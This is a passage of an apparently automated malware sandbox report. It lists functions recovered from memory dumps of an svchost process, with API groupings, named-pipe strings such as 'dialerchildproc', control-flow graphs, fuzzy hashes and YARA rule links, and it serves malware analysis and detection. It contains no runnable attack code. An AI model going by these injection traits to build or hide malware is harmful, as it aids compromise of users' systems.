                                            • Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
                                            • Instruction ID: a3ebcece3df98fd1e9725f906f8bf8db5f5c64855dc8a79f9fd7b15e885684d0
                                            • Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
                                            • Instruction Fuzzy Hash: 77417420F0128443FA68A735595D36922DD5B47FB2F1C4764A93B376E6DF2C980D8393
                                            Function 000002A661302244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
                                            • String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
                                            • API String ID: 2171963597-1373409510
                                            • Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
                                            • Instruction ID: 9e913e5ef9d9d4dd90f3ca067dd4efb44e8ac8cefc28dc1332a14b226ca3e093
                                            • Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
                                            • Instruction Fuzzy Hash: 6C213A72B18A9083EB10CB65E54D35A73A4F78ABA5F580215EA5A13AA8CF7CC149CB41
                                            Function 000002A66130A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 588 2a66130a544-2a66130a5ac call 2a66130b414 591 2a66130a5b2-2a66130a5b5 588->591 592 2a66130aa13-2a66130aa1b call 2a66130c748 588->592 591->592 593 2a66130a5bb-2a66130a5c1 591->593 595 2a66130a5c7-2a66130a5cb 593->595 596 2a66130a690-2a66130a6a2 593->596 595->596 600 2a66130a5d1-2a66130a5dc 595->600 598 2a66130a6a8-2a66130a6ac 596->598 599 2a66130a963-2a66130a967 596->599 598->599 603 2a66130a6b2-2a66130a6bd 598->603 601 2a66130a969-2a66130a970 599->601 602 2a66130a9a0-2a66130a9aa call 2a661309634 599->602 600->596 604 2a66130a5e2-2a66130a5e7 600->604 601->592 605 2a66130a976-2a66130a99b call 2a66130aa1c 601->605 602->592 614 2a66130a9ac-2a66130a9cb call 2a661307940 602->614 603->599 607 2a66130a6c3-2a66130a6ca 603->607 604->596 608 2a66130a5ed-2a66130a5f7 call 2a661309634 604->608 605->602 611 2a66130a6d0-2a66130a707 call 2a661309a10 607->611 612 2a66130a894-2a66130a8a0 607->612 608->614 618 2a66130a5fd-2a66130a628 call 2a661309634 * 2 call 2a661309d24 608->618 611->612 623 2a66130a70d-2a66130a715 611->623 612->602 615 2a66130a8a6-2a66130a8aa 612->615 620 2a66130a8ba-2a66130a8c2 615->620 621 2a66130a8ac-2a66130a8b8 call 2a661309ce4 615->621 656 2a66130a648-2a66130a652 call 2a661309634 618->656 657 2a66130a62a-2a66130a62e 618->657 620->602 627 2a66130a8c8-2a66130a8d5 call 2a6613098b4 620->627 621->620 636 2a66130a8db-2a66130a8e3 621->636 629 2a66130a719-2a66130a74b 623->629 627->602 627->636 633 2a66130a887-2a66130a88e 629->633 634 2a66130a751-2a66130a75c 629->634 633->612 633->629 634->633 637 2a66130a762-2a66130a77b 634->637 638 2a66130a9f6-2a66130aa12 call 2a661309634 * 2 call 2a66130c6a8 636->638 639 2a66130a8e9-2a66130a8ed 636->639 641 2a66130a781-2a66130a7c6 call 2a661309cf8 * 2 637->641 642 2a66130a874-2a66130a879 637->642 638->592 643 2a66130a8ef-2a66130a8fe call 2a661309ce4 639->643 644 2a66130a900 639->644 669 2a66130a7c8-2a66130a7ee call 2a661309cf8 call 2a66130ac38 641->669 670 2a66130a804-2a66130a80a 641->670 648 2a66130a884 642->648 652 2a66130a903-2a66130a90d call 2a66130b4ac 643->652 644->652 648->633 652->602 667 2a66130a913-2a66130a961 call 2a661309944 call 2a661309b50 652->667 656->596 673 2a66130a654-2a66130a674 call 2a661309634 * 2 call 2a66130b4ac 656->673 657->656 661 2a66130a630-2a66130a63b 657->661 661->656 666 2a66130a63d-2a66130a642 661->666 666->592 666->656 667->602 689 2a66130a7f0-2a66130a802 669->689 690 2a66130a815-2a66130a872 call 2a66130a470 669->690 674 2a66130a87b 670->674 675 2a66130a80c-2a66130a810 670->675 694 2a66130a676-2a66130a680 call 2a66130b59c 673->694 695 2a66130a68b 673->695 679 2a66130a880 674->679 675->641 679->648 689->669 689->670 690->679 698 2a66130a686-2a66130a9ef call 2a6613092ac call 2a66130aff4 call 2a6613094a0 694->698 699 2a66130a9f0-2a66130a9f5 call 2a66130c6a8 694->699 695->596 698->699 699->638
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                            • String ID: csm$csm$csm
                                            • API String ID: 849930591-393685449
                                            • Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
                                            • Instruction ID: f9dc5a9824cbe41745e6e6afb53450f4abea2dc5f6e99ba2920a5b912b4b268f
                                            • Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
                                            • Instruction Fuzzy Hash: AEE19F72B047448BEB20DF25A44C39D7BE8F746B99F084115DE8A67BA5CF38C189C782
                                            Function 000002A6612D9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 467 2a6612d9944-2a6612d99ac call 2a6612da814 470 2a6612d9e13-2a6612d9e1b call 2a6612dbb48 467->470 471 2a6612d99b2-2a6612d99b5 467->471 471->470 472 2a6612d99bb-2a6612d99c1 471->472 474 2a6612d9a90-2a6612d9aa2 472->474 475 2a6612d99c7-2a6612d99cb 472->475 477 2a6612d9d63-2a6612d9d67 474->477 478 2a6612d9aa8-2a6612d9aac 474->478 475->474 479 2a6612d99d1-2a6612d99dc 475->479 482 2a6612d9da0-2a6612d9daa call 2a6612d8a34 477->482 483 2a6612d9d69-2a6612d9d70 477->483 478->477 480 2a6612d9ab2-2a6612d9abd 478->480 479->474 481 2a6612d99e2-2a6612d99e7 479->481 480->477 485 2a6612d9ac3-2a6612d9aca 480->485 481->474 486 2a6612d99ed-2a6612d99f7 call 2a6612d8a34 481->486 482->470 493 2a6612d9dac-2a6612d9dcb call 2a6612d6d40 482->493 483->470 487 2a6612d9d76-2a6612d9d9b call 2a6612d9e1c 483->487 489 2a6612d9c94-2a6612d9ca0 485->489 490 2a6612d9ad0-2a6612d9b07 call 2a6612d8e10 485->490 486->493 501 2a6612d99fd-2a6612d9a28 call 2a6612d8a34 * 2 call 2a6612d9124 486->501 487->482 489->482 494 2a6612d9ca6-2a6612d9caa 489->494 490->489 505 2a6612d9b0d-2a6612d9b15 490->505 498 2a6612d9cba-2a6612d9cc2 494->498 499 2a6612d9cac-2a6612d9cb8 call 2a6612d90e4 494->499 498->482 504 2a6612d9cc8-2a6612d9cd5 call 2a6612d8cb4 498->504 499->498 511 2a6612d9cdb-2a6612d9ce3 499->511 535 2a6612d9a2a-2a6612d9a2e 501->535 536 2a6612d9a48-2a6612d9a52 call 2a6612d8a34 501->536 504->482 504->511 509 2a6612d9b19-2a6612d9b4b 505->509 513 2a6612d9b51-2a6612d9b5c 509->513 514 2a6612d9c87-2a6612d9c8e 509->514 516 2a6612d9df6-2a6612d9e12 call 2a6612d8a34 * 2 call 2a6612dbaa8 511->516 517 2a6612d9ce9-2a6612d9ced 511->517 513->514 518 2a6612d9b62-2a6612d9b7b 513->518 514->489 514->509 516->470 522 2a6612d9cef-2a6612d9cfe call 2a6612d90e4 517->522 523 2a6612d9d00 517->523 524 2a6612d9c74-2a6612d9c79 518->524 525 2a6612d9b81-2a6612d9bc6 call 2a6612d90f8 * 2 518->525 531 2a6612d9d03-2a6612d9d0d call 2a6612da8ac 522->531 523->531 527 2a6612d9c84 524->527 548 2a6612d9c04-2a6612d9c0a 525->548 549 2a6612d9bc8-2a6612d9bee call 2a6612d90f8 call 2a6612da038 525->549 527->514 531->482 546 2a6612d9d13-2a6612d9d61 call 2a6612d8d44 call 2a6612d8f50 531->546 535->536 540 2a6612d9a30-2a6612d9a3b 535->540 536->474 552 2a6612d9a54-2a6612d9a74 call 2a6612d8a34 * 2 call 2a6612da8ac 536->552 540->536 545 2a6612d9a3d-2a6612d9a42 540->545 545->470 545->536 546->482 556 2a6612d9c7b 548->556 557 2a6612d9c0c-2a6612d9c10 548->557 567 2a6612d9c15-2a6612d9c72 call 2a6612d9870 549->567 568 2a6612d9bf0-2a6612d9c02 549->568 573 2a6612d9a8b 552->573 574 2a6612d9a76-2a6612d9a80 call 2a6612da99c 552->574 558 2a6612d9c80 556->558 557->525 558->527 567->558 568->548 568->549 573->474 577 2a6612d9df0-2a6612d9df5 call 2a6612dbaa8 574->577 578 2a6612d9a86-2a6612d9def call 2a6612d86ac call 2a6612da3f4 call 2a6612d88a0 574->578 577->516 578->577
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238218318.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a6612d0000_svchost.jbxd
                                            Similarity
                                            • API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
                                            • String ID: csm$csm$csm
                                            • API String ID: 849930591-393685449
                                            • Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                            • Instruction ID: 681959dd6542599d6789764f186a42efd8a6d505218f830932f82b8ebb8010d4
                                            • Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
                                            • Instruction Fuzzy Hash: C1E17C32F04B808BEB609B65D45839D77ACFB56B98F181115EE8957B99CF38C0E9C702
                                            Function 000002A66130F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: AddressFreeLibraryProc
                                            • String ID: api-ms-$ext-ms-
                                            • API String ID: 3013587201-537541572
                                            • Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
                                            • Instruction ID: fa6adfc857896f79626ba7455a121a59232fbacac11bf9aa969e94737a29d1b3
                                            • Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
                                            • Instruction Fuzzy Hash: 2241E122B15A0083EA16DB56A80C75533DDBB46FE1F0E41259D0BB7784EF3CC44D838A
                                            Function 000002A66130104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 739 2a66130104c-2a6613010b9 RegQueryInfoKeyW 740 2a6613010bf-2a6613010c9 739->740 741 2a6613011b5-2a6613011d0 739->741 740->741 742 2a6613010cf-2a66130111f RegEnumValueW 740->742 743 2a6613011a5-2a6613011af 742->743 744 2a661301125-2a66130112a 742->744 743->741 743->742 744->743 745 2a66130112c-2a661301135 744->745 746 2a661301147-2a66130114c 745->746 747 2a661301137 745->747 749 2a661301199-2a6613011a3 746->749 750 2a66130114e-2a661301193 GetProcessHeap call 2a661316168 GetProcessHeap HeapFree 746->750 748 2a66130113b-2a66130113f 747->748 748->743 751 2a661301141-2a661301145 748->751 749->743 750->749 751->746 751->748
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocEnumFreeInfoQueryValue
                                            • String ID: d
                                            • API String ID: 3743429067-2564639436
                                            • Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
                                            • Instruction ID: 29549edc3a05bb9f30fb41ffd792d5d1f480f0e7d2fd4d10c68227b69ff2f9b1
                                            • Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
                                            • Instruction Fuzzy Hash: 2B418B72614B80C7E764CF61E44839A77B5F389F89F488129DA8A17B58DF3CC489CB41
                                            Function 000002A66130D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • FlsGetValue.KERNEL32(?,?,?,000002A66130C7DE,?,?,?,?,?,?,?,?,000002A66130CF9D,?,?,00000001), ref: 000002A66130D087
                                            • FlsSetValue.KERNEL32(?,?,?,000002A66130C7DE,?,?,?,?,?,?,?,?,000002A66130CF9D,?,?,00000001), ref: 000002A66130D0A6
                                            • FlsSetValue.KERNEL32(?,?,?,000002A66130C7DE,?,?,?,?,?,?,?,?,000002A66130CF9D,?,?,00000001), ref: 000002A66130D0CE
                                            • FlsSetValue.KERNEL32(?,?,?,000002A66130C7DE,?,?,?,?,?,?,?,?,000002A66130CF9D,?,?,00000001), ref: 000002A66130D0DF
                                            • FlsSetValue.KERNEL32(?,?,?,000002A66130C7DE,?,?,?,?,?,?,?,?,000002A66130CF9D,?,?,00000001), ref: 000002A66130D0F0
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: Value
                                            • String ID: 1%$Y%
                                            • API String ID: 3702945584-1395475152
                                            • Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
                                            • Instruction ID: bc4377a1b8938ee1d589c6b188f15fe87120af383a10576ee3c01281e8991c6e
                                            • Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
                                            • Instruction Fuzzy Hash: F2118620F0428443FA68A735595D36962DD5B46FF1F1C4324993B277DADF2CC40A8686
                                            Function 000002A661307510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                            • String ID:
                                            • API String ID: 190073905-0
                                            • Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction ID: 94d9e67a34e61d90d8dc91a526529cd9d217a7a82295564c3aa49440afe65ca8
                                            • Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction Fuzzy Hash: 79810230F0064187FA50AB69984D39966ECAB87F82F1C44249A8B73396DF3DC84D8783
                                            Function 000002A661309DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: Library$Load$AddressErrorFreeLastProc
                                            • String ID: api-ms-
                                            • API String ID: 2559590344-2084034818
                                            • Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
                                            • Instruction ID: 50e13fa17c3bf59197d400e801c98b0be272adff0d23520052f25ab3404dd5bc
                                            • Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
                                            • Instruction Fuzzy Hash: 3F319021B12A40A3EE11DF46A80C76562DCB74AFA1F5D05259D1F6B790DF3DC849C392
                                            Function 000002A661313DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                            • String ID: CONOUT$
                                            • API String ID: 3230265001-3130406586
                                            • Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
                                            • Instruction ID: ff65df3e6d8c9de4419cb773b33199b337b810cada23280e1cd4933ea371c746
                                            • Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
                                            • Instruction Fuzzy Hash: 8A116D32B14B8087E7509B52E84D31976B8F78AFE4F084224EA5F97794CF7CC8188781
                                            Function 000002A661303790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: CurrentProcessProtectVirtual$HandleModule
                                            • String ID: wr
                                            • API String ID: 1092925422-2678910430
                                            • Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                            • Instruction ID: 025d1bc40c232432275dae4ecc1318edf57f0e1ebcf64f5229914e418f725714
                                            • Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                            • Instruction Fuzzy Hash: F8115B76B04B8187EF149B62E40C66976B8FB8AF85F480029DE8E17794EF3DC609C705
                                            Function 000002A661305B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: Thread$Current$Context
                                            • String ID:
                                            • API String ID: 1666949209-0
                                            • Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
                                            • Instruction ID: 5f5900bbcb72c6ae03449aabeaeaebc51276a3d35255987f9de81e93377eb069
                                            • Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
                                            • Instruction Fuzzy Hash: 3BD1B836604B8882EA70DB0AE49835A77F4F389F85F144216EACE57BA5CF3DC545CB81
                                            Function 000002A661302F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocFree
                                            • String ID: dialer
                                            • API String ID: 756756679-3528709123
                                            • Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
                                            • Instruction ID: 0dbaea95a655bbe900e3289c597c93d81e3b199630ae2b61a37e5e2c9be7583f
                                            • Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
                                            • Instruction Fuzzy Hash: AA31BF32B01B5183EA10DF66A64C76A67E8FB46FC5F0C40249E4A17B55EF3CC4A98381
                                            Function 000002A66130CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: Value$ErrorLast
                                            • String ID:
                                            • API String ID: 2506987500-0
                                            • Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
                                            • Instruction ID: 0c3f37101a929da6b2ab2e1659a4edb589a4527edbf683f148d599b530f189ca
                                            • Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
                                            • Instruction Fuzzy Hash: A4116020B0028443FA64A7315A5D72962DE6B86FF1F1C4724A937676D6DF6C84098783
                                            Function 000002A66130199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
                                            • String ID:
                                            • API String ID: 517849248-0
                                            • Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
                                            • Instruction ID: 471f3759c9f5d2bef42bfea3fd4cb3963e2dd95c959e6c4d1128e52080657580
                                            • Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
                                            • Instruction Fuzzy Hash: C4015771B00A8083EA50DB92A85C35AA3A9F789FC5F884035DE8A63764DF7CC98DC741
                                            Function 000002A6613036C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
                                            • String ID:
                                            • API String ID: 449555515-0
                                            • Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
                                            • Instruction ID: 79ca0cd446847db94c87b220a4133f292dc0ecc6b103301cedece9ec62c6ad04
                                            • Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
                                            • Instruction Fuzzy Hash: B8011BB5B15B8087EB249B62E80D71972B8BB46F86F080424CA4A27754EF7DC50CC742
                                            Function 000002A661309005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 2395640692-629598281
                                            • Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                            • Instruction ID: 077875c1ecc3ba653c40cf27df437926aa55189474758356bf14258b29207a20
                                            • Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                            • Instruction Fuzzy Hash: AC517C32B0160087EB18DF15E84CB5937DAF346F99F198528DA5B63788EF79C849C782
                                            Function 000002A661308FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 2395640692-629598281
                                            • Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                            • Instruction ID: ba38e771323935cd7c4c993903e564a77b026bca2c24c40e091b995464114721
                                            • Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                            • Instruction Fuzzy Hash: 39315432B0064087E714DF12E84CB1977A9F386F89F0A8418EA5B23789DF79C948C786
                                            Function 000002A661301A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: FinalHandleNamePathlstrlen
                                            • String ID: \\?\
                                            • API String ID: 2719912262-4282027825
                                            • Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
                                            • Instruction ID: b1b7e669e6661b3feae12b7b33b5b685191a7800304716cf001d880ba287570f
                                            • Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
                                            • Instruction Fuzzy Hash: 07F08C72B0468083FB208B60E88C35A63B9F749F88F888024DA4A57964DF6CC68DCB01
                                            Function 000002A661303044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: CombinePath
                                            • String ID: \\.\pipe\
                                            • API String ID: 3422762182-91387939
                                            • Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
                                            • Instruction ID: cf77e8b58ec68dbf932fe7d168add0dfe5d0c02535d993d737ff7324a50749b0
                                            • Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
                                            • Instruction Fuzzy Hash: 65F08CA0B04BC083EA008B93B90D119B2A9AB4AFC0F0C8430EE4B27B28DF7CC44D8701
                                            Function 000002A66130BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: AddressFreeHandleLibraryModuleProc
                                            • String ID: CorExitProcess$mscoree.dll
                                            • API String ID: 4061214504-1276376045
                                            • Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
                                            • Instruction ID: e21ae87d0ac0485e57b5ed7f78d9bcfc49820b6887902ab70198c3f652ea4012
                                            • Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
                                            • Instruction Fuzzy Hash: 24F06275B1164583EF108B64E84D3597368EB86F61F5C4619CA6B5B1E8CF6CC14DC341
